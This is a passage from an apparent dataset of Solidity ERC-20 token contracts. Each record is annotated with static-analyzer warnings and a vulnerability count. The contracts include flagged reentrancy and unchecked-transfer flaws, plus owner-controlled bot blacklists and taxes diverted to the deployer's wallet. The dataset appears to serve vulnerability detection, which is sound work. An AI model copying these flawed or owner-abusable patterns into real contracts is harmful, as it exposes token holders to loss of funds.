for 199f43d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 88807de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 88807de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 199f43d\n\t\t// reentrancy-benign | ID: 88807de\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 199f43d\n\t\t// reentrancy-benign | ID: 88807de\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 529297a): LadysMakerToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 529297a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 88807de\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 199f43d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: be06f71): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for be06f71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 20e02e0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 20e02e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: be06f71\n\t\t\t\t// reentrancy-eth | ID: 20e02e0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: be06f71\n\t\t\t\t\t// reentrancy-eth | ID: 20e02e0\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 20e02e0\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 20e02e0\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 20e02e0\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: be06f71\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 20e02e0\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 20e02e0\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: be06f71\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 199f43d\n\t\t// reentrancy-events | ID: be06f71\n\t\t// reentrancy-benign | ID: 88807de\n\t\t// reentrancy-eth | ID: 20e02e0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cac76dd): LadysMakerToken.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for cac76dd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 199f43d\n\t\t// reentrancy-events | ID: be06f71\n\t\t// reentrancy-eth | ID: 20e02e0\n\t\t// arbitrary-send-eth | ID: cac76dd\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e0bdbb1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e0bdbb1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 98c68d1): LadysMakerToken.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 98c68d1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5853105): LadysMakerToken.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5853105: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b19b26e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b19b26e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e0bdbb1\n\t\t// reentrancy-eth | ID: b19b26e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e0bdbb1\n\t\t// unused-return | ID: 98c68d1\n\t\t// reentrancy-eth | ID: b19b26e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e0bdbb1\n\t\t// unused-return | ID: 5853105\n\t\t// reentrancy-eth | ID: b19b26e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e0bdbb1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b19b26e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: abe2606): LadysMakerToken.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for abe2606: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: abe2606\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10839.sol",
"size_bytes": 20972,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract VitaliysShibasToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9723180): VitaliysShibasToken._taxWallet should be immutable \n\t// Recommendation for 9723180: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 395b74b): VitaliysShibasToken._initialBuyTax should be constant \n\t// Recommendation for 395b74b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: b7526c6): VitaliysShibasToken._initialSellTax should be constant \n\t// Recommendation for b7526c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e93a00): VitaliysShibasToken._reduceBuyTaxAt should be constant \n\t// Recommendation for 8e93a00: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 903e347): VitaliysShibasToken._reduceSellTaxAt should be constant \n\t// Recommendation for 903e347: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b754b1): VitaliysShibasToken._preventSwapBefore should be constant \n\t// Recommendation for 7b754b1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 199420132015 * 10 ** _decimals;\n\n string private constant _name = unicode\"Vitaliys Shibas\";\n\n string private constant _symbol = unicode\"VSHIBA\";\n\n uint256 public _maxTxAmount = 2991301980 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2991301980 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c0f4ac0): VitaliysShibasToken._taxSwapThreshold should be constant \n\t// Recommendation for c0f4ac0: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1994201320 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e44520): VitaliysShibasToken._maxTaxSwap should be constant \n\t// Recommendation for 0e44520: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1994201320 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 95575e2): VitaliysShibasToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 95575e2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5c445ef): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5c445ef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cb8dd51): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cb8dd51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5c445ef\n\t\t// reentrancy-benign | ID: cb8dd51\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5c445ef\n\t\t// reentrancy-benign | ID: cb8dd51\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0c0165a): VitaliysShibasToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0c0165a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: cb8dd51\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5c445ef\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6462897): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6462897: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 699b60b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 699b60b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6462897\n\t\t\t\t// reentrancy-eth | ID: 699b60b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6462897\n\t\t\t\t\t// reentrancy-eth | ID: 699b60b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 699b60b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 699b60b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 699b60b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6462897\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 699b60b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 699b60b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6462897\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6462897\n\t\t// reentrancy-events | ID: 5c445ef\n\t\t// reentrancy-benign | ID: cb8dd51\n\t\t// reentrancy-eth | ID: 699b60b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 67a4a00): VitaliysShibasToken.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 67a4a00: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6462897\n\t\t// reentrancy-events | ID: 5c445ef\n\t\t// reentrancy-eth | ID: 699b60b\n\t\t// arbitrary-send-eth | ID: 67a4a00\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e12667d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e12667d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 41604a7): VitaliysShibasToken.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 41604a7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7f29aac): VitaliysShibasToken.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7f29aac: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 076bc3f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 076bc3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e12667d\n\t\t// reentrancy-eth | ID: 076bc3f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e12667d\n\t\t// unused-return | ID: 41604a7\n\t\t// reentrancy-eth | ID: 076bc3f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e12667d\n\t\t// unused-return | ID: 7f29aac\n\t\t// reentrancy-eth | ID: 076bc3f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e12667d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 076bc3f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: aec0b93): VitaliysShibasToken.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for aec0b93: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: aec0b93\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1084.sol",
"size_bytes": 21036,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n 